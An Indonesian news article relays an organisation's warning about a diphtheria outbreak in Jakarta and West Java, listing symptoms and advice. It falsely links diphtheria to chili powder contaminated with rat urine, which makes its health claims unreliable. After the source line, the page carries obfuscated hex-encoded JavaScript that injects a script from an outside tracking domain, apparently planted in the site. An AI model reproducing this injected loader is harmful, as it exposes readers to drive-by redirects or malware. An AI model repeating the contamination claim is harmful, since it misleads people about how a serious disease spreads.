KPPPI Minta Masyarakat Waspada, Diduga Penderita Difteri di Jakarta dan Jabar Capai Ratusan Orang

KORANFORUM.COM, JAKARTA — Pengurus DPP Ormas KPPPI (Korps Pejuang Pemuda Pemudi Indonesia) meminta masyarakat waspada atas merebaknya Penyakit Difteri.

Sebab, mengacu pada informasi yang didapat oleh KPPPI, untuk wilayah DKI Jakarta dan Provinsi Jawa Barat (Jabar), diduga ada sekitar 600 penderita Difteri.

Akibatnya, ada rumah sakit penuh dengan kondisi anak-anak penderita Difteri, dimana dari jumlah itu, ada sekitar 38 diduga sudah meninggal.

“Jadi memang kejadian luarbiasa. Infonya, Dinkes DKI Jakarta telah melakukan imunisasi massal, hingga Tanggal 11 Desember, bagi usia 1 sampai 19 Tahun,” ucap Dansatgas DPP KPPPI, Ai??Richard Panco, didampingi Ketum DPP KPPPI, Hasniati SH, MH.

Karena itu, Panco meminta seluruh masyarakat, khususnya para orang tua untuk bisa bersikap hati hati, dengan menyuruh anaknya agar tidak jajan secara sembarangan.

Cermati produk makanan yang pake cabe bubuk, karena diduga ada sejenis produk makanan itu penuh penyakit dari kencing tikus.

Akibatnya, ada kasusnya banyak yang meninggal, karena penyakit Difteri. Karena itu, waspada terhadap produk jajanan yang pake cabe kering seperti cabe di tahu bulat, otak-otak dan lainnya.

Dijelaskan Panco, kepala keluarga yang memiliki putra dan putrinya yang suka mengkonsumsi jajanan dengan menggunakan bumbu tabur, terutama yang mengandung cabe kering, seperti cilok, tahu crispy, singkong goreng atau yang lain, hendaknya bisa dicermati dan dievaluasi kembali.

Pasalnya, ada kejadian dimana ada salahsatu pabrik yang memproduksi cabe tabur, tampak bahan cabe kering di timbun di gudang, sehingga tak peduli bisa dijadikan sarang tikus.

Tentu saja, KENCING TIKUS akan tercecer disana, sehingga membahayakan bagi kesehatan manusia.

“Karena itu, mari kita jaga keluarga kita, dari ancaman penyakit Difteri ini,” pesan Panco.

Diungkapan Panco, Gejala Difteri padaAi??umumnya memiliki masa inkubasi, atau rentang waktu sejak bakteri masuk ke tubuh, sampai gejala muncul 2 hingga 5 hari.

Gejala-gejala dari penyakit ini meliputi:
ai??? Terbentuknya lapisan tipis berwarna abu-abu yang menutupi tenggorokan dan amandel.
ai??? Demam dan menggigil.
ai??? Sakit tenggorokan dan suara serak.
ai??? Sulit bernapas atau napas yang cepat.
ai??? Pembengkakan kelenjar limfe pada leher.
ai??? Lemas dan lelah.
ai??? Pilek. Awalnya cair, tapi lama-kelamaan menjadi kental dan terkadang bercampur darah.

Dihimbau, agar bisa berhati-hati, karena saat ini DIFTERI sudah dinyatakan sebagai Kejadian Luar Biasa (KLB). Kalau tidak terpaksa betul, jangan jajan di luar. Kondisi ini, perlu disampaikan pada semua keluarga dekat.

Karena Penularan Difteri bisa melalui droplet, seperti dari ludah, batuk dan lainnya, hampir mirip penularan TBC.

Jadi sementara hindari dulu tempat tempat keramaian, seperti tempat tempat rekreasi dan lainnya. Ai??Tapi ini, khusus bagi warga Jakarta.

Sumber: WAG DPP KPPPI |zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} ;application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *